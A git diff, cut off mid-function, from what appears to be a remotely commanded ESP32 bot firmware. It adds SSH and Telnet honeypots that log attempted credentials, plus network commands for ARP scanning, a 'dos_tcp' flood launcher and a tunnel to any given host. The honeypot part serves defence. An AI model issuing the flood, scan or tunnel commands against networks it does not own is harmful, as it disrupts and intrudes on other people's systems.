"HTTP/1.1 200 OK\r\n"
|
||||
"Server: %s\r\n"
|
||||
"Content-Type: text/html\r\n"
|
||||
"Content-Length: %d\r\n"
|
||||
"Connection: close\r\n\r\n",
|
||||
server_name, body_len);
|
||||
|
||||
send(client_fd, resp_hdr, hdr_len, 0);
|
||||
send(client_fd, LOGIN_PAGE, body_len, 0);
|
||||
|
||||
int tarpit = hp_config_get_threshold("tarpit_ms");
|
||||
if (tarpit > 0)
|
||||
vTaskDelay(pdMS_TO_TICKS(tarpit));
|
||||
}
|
||||
|
||||
#endif
|
||||
42
espilon_bot/components/mod_honeypot/services/svc_ssh.c
Normal file
42
espilon_bot/components/mod_honeypot/services/svc_ssh.c
Normal file
@ -0,0 +1,42 @@
|
||||
/*
|
||||
* svc_ssh.c
|
||||
* SSH honeypot handler — banner + auth attempt capture + tarpit.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
|
||||
#include "svc_common.h"
|
||||
|
||||
void handle_ssh_client(int client_fd, const char *client_ip,
|
||||
uint16_t client_port, hp_svc_desc_t *svc)
|
||||
{
|
||||
char banner[128];
|
||||
hp_config_get_banner("ssh", banner, sizeof(banner));
|
||||
send(client_fd, banner, strlen(banner), 0);
|
||||
|
||||
svc->connections++;
|
||||
event_send("SVC_CONNECT", "LOW", "00:00:00:00:00:00",
|
||||
client_ip, client_port, 22, "service=ssh", NULL);
|
||||
|
||||
/* Read client version string / auth attempt */
|
||||
char buf[MAX_CLIENT_BUF];
|
||||
int n = recv(client_fd, buf, sizeof(buf) - 1, 0);
|
||||
if (n > 0) {
|
||||
buf[n] = '\0';
|
||||
while (n > 0 && (buf[n-1] == '\r' || buf[n-1] == '\n'))
|
||||
buf[--n] = '\0';
|
||||
|
||||
svc->auth_attempts++;
|
||||
char detail[192];
|
||||
snprintf(detail, sizeof(detail), "service=ssh payload='%.128s'", buf);
|
||||
event_send("SVC_AUTH_ATTEMPT", "HIGH", "00:00:00:00:00:00",
|
||||
client_ip, client_port, 22, detail, NULL);
|
||||
}
|
||||
|
||||
int tarpit = hp_config_get_threshold("tarpit_ms");
|
||||
if (tarpit > 0)
|
||||
vTaskDelay(pdMS_TO_TICKS(tarpit));
|
||||
}
|
||||
|
||||
#endif
|
||||
60
espilon_bot/components/mod_honeypot/services/svc_telnet.c
Normal file
60
espilon_bot/components/mod_honeypot/services/svc_telnet.c
Normal file
@ -0,0 +1,60 @@
|
||||
/*
|
||||
* svc_telnet.c
|
||||
* Telnet honeypot handler — login prompt + user/pass capture + tarpit.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
|
||||
#include "svc_common.h"
|
||||
|
||||
void handle_telnet_client(int client_fd, const char *client_ip,
|
||||
uint16_t client_port, hp_svc_desc_t *svc)
|
||||
{
|
||||
char banner[128];
|
||||
hp_config_get_banner("telnet", banner, sizeof(banner));
|
||||
send(client_fd, banner, strlen(banner), 0);
|
||||
|
||||
svc->connections++;
|
||||
event_send("SVC_CONNECT", "LOW", "00:00:00:00:00:00",
|
||||
client_ip, client_port, 23, "service=telnet", NULL);
|
||||
|
||||
/* Read username */
|
||||
char user[64] = {0};
|
||||
int n = recv(client_fd, user, sizeof(user) - 1, 0);
|
||||
if (n > 0) {
|
||||
user[n] = '\0';
|
||||
while (n > 0 && (user[n-1] == '\r' || user[n-1] == '\n'))
|
||||
user[--n] = '\0';
|
||||
}
|
||||
|
||||
/* Send password prompt */
|
||||
const char *pass_prompt = "Password: ";
|
||||
send(client_fd, pass_prompt, strlen(pass_prompt), 0);
|
||||
|
||||
char pass[64] = {0};
|
||||
n = recv(client_fd, pass, sizeof(pass) - 1, 0);
|
||||
if (n > 0) {
|
||||
pass[n] = '\0';
|
||||
while (n > 0 && (pass[n-1] == '\r' || pass[n-1] == '\n'))
|
||||
pass[--n] = '\0';
|
||||
}
|
||||
|
||||
if (user[0] || pass[0]) {
|
||||
svc->auth_attempts++;
|
||||
char detail[192];
|
||||
snprintf(detail, sizeof(detail),
|
||||
"service=telnet user='%.32s' pass='%.32s'", user, pass);
|
||||
event_send("SVC_AUTH_ATTEMPT", "HIGH", "00:00:00:00:00:00",
|
||||
client_ip, client_port, 23, detail, NULL);
|
||||
}
|
||||
|
||||
const char *fail = "\r\nLogin incorrect\r\n";
|
||||
send(client_fd, fail, strlen(fail), 0);
|
||||
|
||||
int tarpit = hp_config_get_threshold("tarpit_ms");
|
||||
if (tarpit > 0)
|
||||
vTaskDelay(pdMS_TO_TICKS(tarpit));
|
||||
}
|
||||
|
||||
#endif
|
||||
@ -1,3 +1,9 @@
|
||||
idf_component_register(SRCS "cmd_network.c" "mod_ping.c" "mod_proxy.c" "mod_arp.c" "mod_dos.c"
|
||||
set(SRCS "cmd_network.c" "mod_ping.c" "mod_arp.c" "mod_dos.c")
|
||||
|
||||
if(CONFIG_MODULE_TUNNEL)
|
||||
list(APPEND SRCS "tun_core.c")
|
||||
endif()
|
||||
|
||||
idf_component_register(SRCS ${SRCS}
|
||||
INCLUDE_DIRS .
|
||||
REQUIRES lwip protocol_examples_common esp_wifi core command)
|
||||
REQUIRES lwip protocol_examples_common esp_wifi core)
|
||||
|
||||
@ -11,16 +11,17 @@
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "command.h"
|
||||
#include "utils.h"
|
||||
|
||||
|
||||
#ifdef CONFIG_MODULE_TUNNEL
|
||||
#include "tun_core.h"
|
||||
#endif
|
||||
|
||||
/* ============================================================
|
||||
* EXTERNAL SYMBOLS
|
||||
* ============================================================ */
|
||||
int do_ping_cmd(int argc, char **argv);
|
||||
int do_ping_cmd(int argc, char **argv, const char *req);
|
||||
void arp_scan_task(void *pvParameters);
|
||||
void init_proxy(char *ip, int port);
|
||||
extern int proxy_running;
|
||||
void start_dos(const char *t_ip, uint16_t t_port, int count);
|
||||
|
||||
#define TAG "CMD_NETWORK"
|
||||
@ -41,7 +42,7 @@
|
||||
return -1;
|
||||
}
|
||||
|
||||
return do_ping_cmd(argc + 1, argv - 1);
|
||||
return do_ping_cmd(argc, argv, req);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
@ -56,13 +57,15 @@
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
(void)req;
|
||||
|
||||
|
||||
/* Heap-copy request_id for the scan task (freed inside arp_scan_task) */
|
||||
char *req_copy = req ? strdup(req) : NULL;
|
||||
|
||||
xTaskCreatePinnedToCore(
|
||||
arp_scan_task,
|
||||
"arp_scan",
|
||||
6144,
|
||||
NULL,
|
||||
req_copy,
|
||||
5,
|
||||
NULL,
|
||||
1
|
||||
@ -71,55 +74,6 @@
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: proxy_start <ip> <port>
|
||||
* ============================================================ */
|
||||
static int cmd_proxy_start(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)ctx;
|
||||
|
||||
if (argc != 2) {
|
||||
msg_error(TAG, "usage: proxy_start <ip> <port>", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (proxy_running) {
|
||||
msg_error(TAG, "proxy already running", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
init_proxy(argv[0], atoi(argv[1]));
|
||||
msg_info(TAG, "proxy started", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: proxy_stop
|
||||
* ============================================================ */
|
||||
static int cmd_proxy_stop(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
if (!proxy_running) {
|
||||
msg_error(TAG, "proxy not running", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
proxy_running = 0;
|
||||
msg_info(TAG, "proxy stopping", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: dos_tcp <ip> <port> <count>
|
||||
* ============================================================ */
|
||||
@ -145,18 +99,101 @@
|
||||
msg_info(TAG, "DOS task started", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
#ifdef CONFIG_MODULE_TUNNEL
|
||||
/* ============================================================
|
||||
* COMMAND: tun_start <ip> <port>
|
||||
* ============================================================ */
|
||||
static int cmd_tun_start(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)ctx;
|
||||
|
||||
if (argc != 2) {
|
||||
msg_error(TAG, "usage: tun_start <ip> <port>", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (tun_is_running()) {
|
||||
msg_error(TAG, "tunnel already running", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
int port = atoi(argv[1]);
|
||||
if (port <= 0 || port > 65535) {
|
||||
msg_error(TAG, "invalid port", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (!tun_start(argv[0], port, req)) {
|
||||
msg_error(TAG, "tunnel start failed", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
msg_info(TAG, "tunnel starting", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: tun_stop
|
||||
* ============================================================ */
|
||||
static int cmd_tun_stop(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
if (!tun_is_running()) {
|
||||
msg_error(TAG, "tunnel not running", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
tun_stop();
|
||||
msg_info(TAG, "tunnel stopping", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: tun_status
|
||||
* ============================================================ */
|
||||
static int cmd_tun_status(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
char status[256];
|
||||
tun_get_status(status, sizeof(status));
|
||||
msg_info(TAG, status, req);
|
||||
return 0;
|
||||
}
|
||||
#endif /* CONFIG_MODULE_TUNNEL */
|
||||
|
||||
/* ============================================================
|
||||
* REGISTER COMMANDS
|
||||
* ============================================================ */
|
||||
static const command_t network_cmds[] = {
|
||||
{ "ping", 1, 8, cmd_ping, NULL, true },
|
||||
{ "arp_scan", 0, 0, cmd_arp_scan, NULL, true },
|
||||
{ "proxy_start", 2, 2, cmd_proxy_start, NULL, true },
|
||||
{ "proxy_stop", 0, 0, cmd_proxy_stop, NULL, false },
|
||||
{ "dos_tcp", 3, 3, cmd_dos_tcp, NULL, true }
|
||||
{ "ping", NULL, NULL, 1, 8, cmd_ping, NULL, true },
|
||||
{ "arp_scan", NULL, NULL, 0, 0, cmd_arp_scan, NULL, true },
|
||||
{ "dos_tcp", NULL, NULL, 3, 3, cmd_dos_tcp, NULL, true },
|
||||
#ifdef CONFIG_MODULE_TUNNEL
|
||||
{ "tun_start", NULL, "Start tunnel: tun_start <ip> <port>", 2, 2, cmd_tun_start, NULL, true },
|
||||
{ "tun_stop", NULL, "Stop tunnel", 0, 0, cmd_tun_stop, NULL, false },
|
||||
{ "tun_status", NULL, "Tunnel status", 0, 0, cmd_tun_status, NULL, false },
|
||||
#endif
|
||||
};
|
||||
|
||||
|
||||
void mod_network_register_commands(void)
|
||||
{
|
||||
for (size_t i = 0;
|
||||
|
||||
@ -5,156 +5,158 @@
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "esp_netif.h"
|
||||
#include "esp_netif_net_stack.h"
|
||||
|
||||
|
||||
#include "lwip/ip4_addr.h"
|
||||
#include "lwip/etharp.h"
|
||||
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
|
||||
#define TAG "ARP_SCAN"
|
||||
#define ARP_TIMEOUT_MS 5000
|
||||
#define ARP_BATCH_SIZE 5
|
||||
|
||||
/* ============================================================
|
||||
* Helpers
|
||||
* ============================================================ */
|
||||
|
||||
/* Convert little/big endian safely */
|
||||
static uint32_t swap_u32(uint32_t v)
|
||||
{
|
||||
return ((v & 0xFF000000U) >> 24) |
|
||||
((v & 0x00FF0000U) >> 8) |
|
||||
((v & 0x0000FF00U) << 8) |
|
||||
((v & 0x000000FFU) << 24);
|
||||
}
|
||||
|
||||
static void next_ip(esp_ip4_addr_t *ip)
|
||||
{
|
||||
esp_ip4_addr_t tmp;
|
||||
tmp.addr = swap_u32(ip->addr);
|
||||
tmp.addr++;
|
||||
ip->addr = swap_u32(tmp.addr);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* ARP scan task
|
||||
* ============================================================ */
|
||||
|
||||
void arp_scan_task(void *pvParameters)
|
||||
{
|
||||
(void)pvParameters;
|
||||
|
||||
msg_info(TAG, "ARP scan started", NULL);
|
||||
|
||||
esp_netif_t *netif_handle =
|
||||
esp_netif_get_handle_from_ifkey("WIFI_STA_DEF");
|
||||
if (!netif_handle) {
|
||||
msg_error(TAG, "wifi netif not found", NULL);
|
||||
vTaskDelete(NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
struct netif *lwip_netif =
|
||||
esp_netif_get_netif_impl(netif_handle);
|
||||
if (!lwip_netif) {
|
||||
msg_error(TAG, "lwIP netif not found", NULL);
|
||||
vTaskDelete(NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
esp_netif_ip_info_t ip_info;
|
||||
esp_netif_get_ip_info(netif_handle, &ip_info);
|
||||
|
||||
/* Compute network range */
|
||||
esp_ip4_addr_t start_ip;
|
||||
start_ip.addr = ip_info.ip.addr & ip_info.netmask.addr;
|
||||
|
||||
esp_ip4_addr_t end_ip;
|
||||
end_ip.addr = start_ip.addr | ~ip_info.netmask.addr;
|
||||
|
||||
esp_ip4_addr_t cur_ip = start_ip;
|
||||
|
||||
char ip_str[IP4ADDR_STRLEN_MAX];
|
||||
char json[128];
|
||||
|
||||
while (cur_ip.addr != end_ip.addr) {
|
||||
|
||||
esp_ip4_addr_t batch[ARP_BATCH_SIZE];
|
||||
int batch_count = 0;
|
||||
|
||||
/* Send ARP requests */
|
||||
for (int i = 0; i < ARP_BATCH_SIZE; i++) {
|
||||
next_ip(&cur_ip);
|
||||
if (cur_ip.addr == end_ip.addr)
|
||||
break;
|
||||
|
||||
etharp_request(
|
||||
lwip_netif,
|
||||
(const ip4_addr_t *)&cur_ip
|
||||
);
|
||||
|
||||
batch[batch_count++] = cur_ip;
|
||||
}
|
||||
|
||||
/* Wait for replies */
|
||||
vTaskDelay(pdMS_TO_TICKS(ARP_TIMEOUT_MS));
|
||||
|
||||
/* Collect results */
|
||||
for (int i = 0; i < batch_count; i++) {
|
||||
struct eth_addr *mac = NULL;
|
||||
const ip4_addr_t *ip_ret = NULL;
|
||||
|
||||
if (etharp_find_addr(
|
||||
lwip_netif,
|
||||
(const ip4_addr_t *)&batch[i],
|
||||
&mac,
|
||||
&ip_ret
|
||||
) == ERR_OK && mac) {
|
||||
|
||||
esp_ip4addr_ntoa(
|
||||
&batch[i],
|
||||
ip_str,
|
||||
sizeof(ip_str)
|
||||
);
|
||||
|
||||
int len = snprintf(
|
||||
json,
|
||||
sizeof(json),
|
||||
"{"
|
||||
"\"ip\":\"%s\","
|
||||
"\"mac\":\"%02X:%02X:%02X:%02X:%02X:%02X\""
|
||||
"}",
|
||||
ip_str,
|
||||
mac->addr[0], mac->addr[1], mac->addr[2],
|
||||
mac->addr[3], mac->addr[4], mac->addr[5]
|
||||
);
|
||||
|
||||
if (len > 0) {
|
||||
/* 1 host = 1 streamed event */
|
||||
msg_data(
|
||||
TAG,
|
||||
json,
|
||||
len,
|
||||
false, /* eof */
|
||||
NULL
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
msg_info(TAG, "ARP scan completed", NULL);
|
||||
|
||||
/* End of stream */
|
||||
msg_data(TAG, NULL, 0, true, NULL);
|
||||
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
#define ARP_TIMEOUT_MS 1500
|
||||
#define ARP_BATCH_SIZE 16
|
||||
|
||||
/* ============================================================
|
||||
* Helpers
|
||||
* ============================================================ */
|
||||
|
||||
/* Convert little/big endian safely */
|
||||
static uint32_t swap_u32(uint32_t v)
|
||||
{
|
||||
return ((v & 0xFF000000U) >> 24) |
|
||||
((v & 0x00FF0000U) >> 8) |
|
||||
((v & 0x0000FF00U) << 8) |
|
||||
((v & 0x000000FFU) << 24);
|
||||
}
|
||||
|
||||
static void next_ip(esp_ip4_addr_t *ip)
|
||||
{
|
||||
esp_ip4_addr_t tmp;
|
||||
tmp.addr = swap_u32(ip->addr);
|
||||
tmp.addr++;
|
||||
ip->addr = swap_u32(tmp.addr);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* ARP scan task
|
||||
* pvParameters = heap-allocated request_id string (or NULL)
|
||||
* ============================================================ */
|
||||
|
||||
void arp_scan_task(void *pvParameters)
|
||||
{
|
||||
char *req = (char *)pvParameters;
|
||||
|
||||
ESP_LOGI(TAG, "ARP scan started (req=%s)", req ? req : "none");
|
||||
|
||||
esp_netif_t *netif_handle =
|
||||
esp_netif_get_handle_from_ifkey("WIFI_STA_DEF");
|
||||
if (!netif_handle) {
|
||||
msg_error(TAG, "wifi netif not found", req);
|
||||
free(req);
|
||||
vTaskDelete(NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
struct netif *lwip_netif =
|
||||
esp_netif_get_netif_impl(netif_handle);
|
||||
if (!lwip_netif) {
|
||||
msg_error(TAG, "lwIP netif not found", req);
|
||||
free(req);
|
||||
vTaskDelete(NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
esp_netif_ip_info_t ip_info;
|
||||
esp_netif_get_ip_info(netif_handle, &ip_info);
|
||||
|
||||
/* Compute network range */
|
||||
esp_ip4_addr_t start_ip;
|
||||
start_ip.addr = ip_info.ip.addr & ip_info.netmask.addr;
|
||||
|
||||
esp_ip4_addr_t end_ip;
|
||||
end_ip.addr = start_ip.addr | ~ip_info.netmask.addr;
|
||||
|
||||
esp_ip4_addr_t cur_ip = start_ip;
|
||||
|
||||
char ip_str[IP4ADDR_STRLEN_MAX];
|
||||
char json[128];
|
||||
|
||||
while (cur_ip.addr != end_ip.addr) {
|
||||
|
||||
esp_ip4_addr_t batch[ARP_BATCH_SIZE];
|
||||
int batch_count = 0;
|
||||
|
||||
/* Send ARP requests */
|
||||
for (int i = 0; i < ARP_BATCH_SIZE; i++) {
|
||||
next_ip(&cur_ip);
|
||||
if (cur_ip.addr == end_ip.addr)
|
||||
break;
|
||||
|
||||
etharp_request(
|
||||
lwip_netif,
|
||||
(const ip4_addr_t *)&cur_ip
|
||||
);
|
||||
|
||||
batch[batch_count++] = cur_ip;
|
||||
}
|
||||
|
||||
/* Wait for replies */
|
||||
vTaskDelay(pdMS_TO_TICKS(ARP_TIMEOUT_MS));
|
||||
|
||||
/* Collect results */
|
||||
for (int i = 0; i < batch_count; i++) {
|
||||
struct eth_addr *mac = NULL;
|
||||
const ip4_addr_t *ip_ret = NULL;
|
||||
|
||||
if (etharp_find_addr(
|
||||
lwip_netif,
|
||||
(const ip4_addr_t *)&batch[i],
|
||||
&mac,
|
||||
&ip_ret
|
||||
) >= 0 && mac) {
|
||||
|
||||
esp_ip4addr_ntoa(
|
||||
&batch[i],
|
||||
ip_str,
|
||||
sizeof(ip_str)
|
||||
);
|
||||
|
||||
int len = snprintf(
|
||||
json,
|
||||
sizeof(json),
|
||||
"{"
|
||||
"\"ip\":\"%s\","
|
||||
"\"mac\":\"%02X:%02X:%02X:%02X:%02X:%02X\""
|
||||
"}",
|
||||
ip_str,
|
||||
mac->addr[0], mac->addr[1], mac->addr[2],
|
||||
mac->addr[3], mac->addr[4], mac->addr[5]
|
||||
);
|
||||
|
||||
if (len > 0) {
|
||||
msg_data(
|
||||
TAG,
|
||||
json,
|
||||
len,
|
||||
false,
|
||||
req
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Final message closes the stream (eof=true) */
|
||||
const char *done = "ARP scan completed";
|
||||
msg_data(TAG, done, strlen(done), true, req);
|
||||
|
||||
free(req);
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
@ -6,177 +6,192 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
|
||||
#include "lwip/inet.h"
|
||||
#include "lwip/netdb.h"
|
||||
#include "esp_log.h"
|
||||
#include "ping/ping_sock.h"
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "PING"
|
||||
|
||||
static char line[256];
|
||||
|
||||
/* ============================================================
|
||||
* Ping callbacks
|
||||
* ============================================================ */
|
||||
|
||||
static void ping_on_success(esp_ping_handle_t hdl, void *args)
|
||||
{
|
||||
(void)args;
|
||||
|
||||
uint8_t ttl;
|
||||
uint16_t seq;
|
||||
uint32_t time_ms, size;
|
||||
ip_addr_t addr;
|
||||
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_SEQNO, &seq, sizeof(seq));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_TTL, &ttl, sizeof(ttl));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_TIMEGAP, &time_ms, sizeof(time_ms));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_SIZE, &size, sizeof(size));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
|
||||
|
||||
int len = snprintf(line, sizeof(line),
|
||||
"%lu bytes from %s: icmp_seq=%u ttl=%u time=%lums",
|
||||
(unsigned long)size,
|
||||
ipaddr_ntoa(&addr),
|
||||
seq,
|
||||
ttl,
|
||||
(unsigned long)time_ms
|
||||
);
|
||||
|
||||
if (len > 0) {
|
||||
msg_data(TAG, line, len, false, NULL);
|
||||
}
|
||||
}
|
||||
|
||||
static void ping_on_timeout(esp_ping_handle_t hdl, void *args)
|
||||
{
|
||||
(void)args;
|
||||
|
||||
uint16_t seq;
|
||||
ip_addr_t addr;
|
||||
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_SEQNO, &seq, sizeof(seq));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
|
||||
|
||||
int len = snprintf(line, sizeof(line),
|
||||
"From %s: icmp_seq=%u timeout",
|
||||
ipaddr_ntoa(&addr),
|
||||
seq
|
||||
);
|
||||
|
||||
if (len > 0) {
|
||||
msg_data(TAG, line, len, false, NULL);
|
||||
}
|
||||
}
|
||||
|
||||
static void ping_on_end(esp_ping_handle_t hdl, void *args)
|
||||
{
|
||||
(void)args;
|
||||
|
||||
uint32_t sent, recv, duration;
|
||||
ip_addr_t addr;
|
||||
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_REQUEST, &sent, sizeof(sent));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_REPLY, &recv, sizeof(recv));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_DURATION, &duration, sizeof(duration));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
|
||||
|
||||
int loss = sent ? (100 - (recv * 100 / sent)) : 0;
|
||||
|
||||
int len = snprintf(line, sizeof(line),
|
||||
"--- %s ping statistics ---\n"
|
||||
"%lu packets transmitted, %lu received, %d%% packet loss, time %lums",
|
||||
ipaddr_ntoa(&addr),
|
||||
(unsigned long)sent,
|
||||
(unsigned long)recv,
|
||||
loss,
|
||||
(unsigned long)duration
|
||||
);
|
||||
|
||||
if (len > 0) {
|
||||
/* Final summary, end of stream */
|
||||
msg_data(TAG, line, len, true, NULL);
|
||||
|
||||
}
|
||||
|
||||
esp_ping_delete_session(hdl);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Command entry point (used by network command wrapper)
|
||||
* ============================================================ */
|
||||
|
||||
int do_ping_cmd(int argc, char **argv)
|
||||
{
|
||||
if (argc < 2) {
|
||||
msg_error(TAG,
|
||||
"usage: ping <host> [timeout interval size count ttl iface]",
|
||||
NULL);
|
||||
return -1;
|
||||
}
|
||||
|
||||
esp_ping_config_t cfg = ESP_PING_DEFAULT_CONFIG();
|
||||
cfg.count = 4;
|
||||
cfg.timeout_ms = 1000;
|
||||
|
||||
const char *host = argv[1];
|
||||
|
||||
/* Optional arguments */
|
||||
if (argc > 2) cfg.timeout_ms = atoi(argv[2]) * 1000;
|
||||
if (argc > 3) cfg.interval_ms = (uint32_t)(atof(argv[3]) * 1000);
|
||||
if (argc > 4) cfg.data_size = atoi(argv[4]);
|
||||
if (argc > 5) cfg.count = atoi(argv[5]);
|
||||
if (argc > 6) cfg.tos = atoi(argv[6]);
|
||||
if (argc > 7) cfg.ttl = atoi(argv[7]);
|
||||
|
||||
/* Resolve host */
|
||||
ip_addr_t target;
|
||||
memset(&target, 0, sizeof(target));
|
||||
|
||||
if (!ipaddr_aton(host, &target)) {
|
||||
struct addrinfo *res = NULL;
|
||||
|
||||
if (getaddrinfo(host, NULL, NULL, &res) != 0 || !res) {
|
||||
msg_error(TAG, "unknown host", NULL);
|
||||
return -1;
|
||||
}
|
||||
|
||||
#ifdef CONFIG_LWIP_IPV4
|
||||
if (res->ai_family == AF_INET) {
|
||||
inet_addr_to_ip4addr(
|
||||
ip_2_ip4(&target),
|
||||
&((struct sockaddr_in *)res->ai_addr)->sin_addr
|
||||
);
|
||||
}
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_LWIP_IPV6
|
||||
if (res->ai_family == AF_INET6) {
|
||||
inet6_addr_to_ip6addr(
|
||||
ip_2_ip6(&target),
|
||||
&((struct sockaddr_in6 *)res->ai_addr)->sin6_addr
|
||||
);
|
||||
}
|
||||
#endif
|
||||
|
||||
freeaddrinfo(res);
|
||||
}
|
||||
|
||||
cfg.target_addr = target;
|
||||
|
||||
esp_ping_callbacks_t cbs = {
|
||||
.on_ping_success = ping_on_success,
|
||||
.on_ping_timeout = ping_on_timeout,
|
||||
.on_ping_end = ping_on_end
|
||||
};
|
||||
|
||||
esp_ping_handle_t ping;
|
||||
esp_ping_new_session(&cfg, &cbs, &ping);
|
||||
esp_ping_start(ping);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "PING"
|
||||
|
||||
/* Context passed to ping callbacks via cb_args */
|
||||
typedef struct {
|
||||
char req[64]; /* request_id copy (empty string if none) */
|
||||
} ping_ctx_t;
|
||||
|
||||
/* ============================================================
|
||||
* Ping callbacks
|
||||
* ============================================================ */
|
||||
|
||||
static void ping_on_success(esp_ping_handle_t hdl, void *args)
|
||||
{
|
||||
ping_ctx_t *ctx = (ping_ctx_t *)args;
|
||||
const char *req = (ctx && ctx->req[0]) ? ctx->req : NULL;
|
||||
char line[256];
|
||||
|
||||
uint8_t ttl;
|
||||
uint16_t seq;
|
||||
uint32_t time_ms, size;
|
||||
ip_addr_t addr;
|
||||
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_SEQNO, &seq, sizeof(seq));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_TTL, &ttl, sizeof(ttl));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_TIMEGAP, &time_ms, sizeof(time_ms));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_SIZE, &size, sizeof(size));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
|
||||
|
||||
int len = snprintf(line, sizeof(line),
|
||||
"%lu bytes from %s: icmp_seq=%u ttl=%u time=%lums",
|
||||
(unsigned long)size,
|
||||
ipaddr_ntoa(&addr),
|
||||
seq,
|
||||
ttl,
|
||||
(unsigned long)time_ms
|
||||
);
|
||||
|
||||
if (len > 0) {
|
||||
msg_data(TAG, line, len, false, req);
|
||||
}
|
||||
}
|
||||
|
||||
static void ping_on_timeout(esp_ping_handle_t hdl, void *args)
|
||||
{
|
||||
ping_ctx_t *ctx = (ping_ctx_t *)args;
|
||||
const char *req = (ctx && ctx->req[0]) ? ctx->req : NULL;
|
||||
char line[256];
|
||||
|
||||
uint16_t seq;
|
||||
ip_addr_t addr;
|
||||
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_SEQNO, &seq, sizeof(seq));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
|
||||
|
||||
int len = snprintf(line, sizeof(line),
|
||||
"From %s: icmp_seq=%u timeout",
|
||||
ipaddr_ntoa(&addr),
|
||||
seq
|
||||
);
|
||||
|
||||
if (len > 0) {
|
||||
msg_data(TAG, line, len, false, req);
|
||||
}
|
||||
}
|
||||
|
||||
static void ping_on_end(esp_ping_handle_t hdl, void *args)
|
||||
{
|
||||
ping_ctx_t *ctx = (ping_ctx_t *)args;
|
||||
const char *req = (ctx && ctx->req[0]) ? ctx->req : NULL;
|
||||
|
||||
uint32_t sent, recv, duration;
|
||||
ip_addr_t addr;
|
||||
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_REQUEST, &sent, sizeof(sent));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_REPLY, &recv, sizeof(recv));
|
||||
